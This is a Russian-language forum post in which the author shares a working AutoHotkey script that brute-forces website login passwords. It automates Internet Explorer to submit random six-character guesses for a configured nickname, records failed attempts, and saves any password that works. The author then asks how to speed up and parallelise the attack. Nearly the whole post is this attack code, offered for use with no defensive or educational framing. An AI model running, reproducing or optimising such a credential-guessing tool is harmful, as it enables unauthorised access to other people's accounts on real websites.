Тема: AHK: Брутфорс паролей на сайте
Написал код. который брутфорсит пароли на определенном сайте, но все таки есть вопрос: Можно ли его как-то оптимизировать и ускорить? При открытии множественных экземплярах нагрузка на ЦП большая, а разница в скорости маленькая.
#KeyHistory 0
#SingleInstance Off
SetBatchLines -1
if !FileExist("settings.ini")
{
IniWrite, nick, settings.ini, Nick, NickKey
IniWrite, site, settings.ini, Nick, SiteKey
}
{
IniRead, nick, settings.ini, Nick, NickKey
if (nick == "ERROR")
{
IniWrite, nick, settings.ini, Nick, NickKey
}
IniRead, site, settings.ini, Nick, SiteKey
if (nick == "ERROR")
{
IniWrite, site, settings.ini, Nick, SiteKey
}
}
{
{
If A_IsCompiled = 1
Menu, Tray, NoStandard
Menu, Tray, Add, Показать окно, VisibleSS
Menu, Tray, Add, Рестарт, ReloadApp
Menu, Tray, Add, Выкл, CloseApp
alfavit = 1|2|3|4|5|6|7|8|9|0|a|b|c|d|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|e
StringSplit, vivod, alfavit, |
IniRead, nick, settings.ini, Nick, NickKey
IniRead, site, settings.ini, Nick, SiteKey
NotPass := nick ".txt"
nick := nick
Visible := 0
ie := ComObjCreate("InternetExplorer.Application")
If (Visible = 1)
ie.Visible := Visible
ie.Navigate(site)
While (ie.busy) || !(ie.document.Readystate = "Complete")
Sleep, 1
Loop
{
Random, randomcifra1, 1, 36
Random, randomcifra2, 1, 36
Random, randomcifra3, 1, 36
Random, randomcifra4, 1, 36
Random, randomcifra5, 1, 36
Random, randomcifra6, 1, 36
random1cifra = % vivod%randomcifra1%
random2cifra = % vivod%randomcifra2%
random3cifra = % vivod%randomcifra3%
random4cifra = % vivod%randomcifra4%
random5cifra = % vivod%randomcifra5%
random6cifra = % vivod%randomcifra6%
pass := random1cifra random2cifra random3cifra random4cifra random5cifra random6cifra
FileRead, nickpassread, %NotPass%
if !(InStr(nickpassread, pass))
{
nickpassread :=
ie.document.getElementsByName("login")[0].Value := nick
ie.document.getElementsByName("password")[0].Value := pass
ie.document.getElementsByClassName("btn btn-warning btn-lg btn-block")[0].Click()
While (ie.busy) || !(ie.document.Readystate = "Complete")
Sleep, 1
If !(InStr(ie.Document.body.innerHTML, "Введенный пароль не подходит к нику"))
{
FileAppend Ник: %nick% Пароль: %pass%, YesBrutPass.txt
MsgBox, Ник: %nick% Пароль: %pass%
ie.Quit()
ExitApp
}
FileAppend, %pass%`n, %NotPass%
}
}
}
Return
VisibleSS:
{
If Visible = 1
{
Visible = 0
ie.Visible := 0
}
else
{
Visible = 1
ie.Visible := 1
}
}
return
ReloadApp:
{
ie.Quit()
Reload
}
Return
CloseApp:
{
ie.Quit()
ExitApp
}
Return
}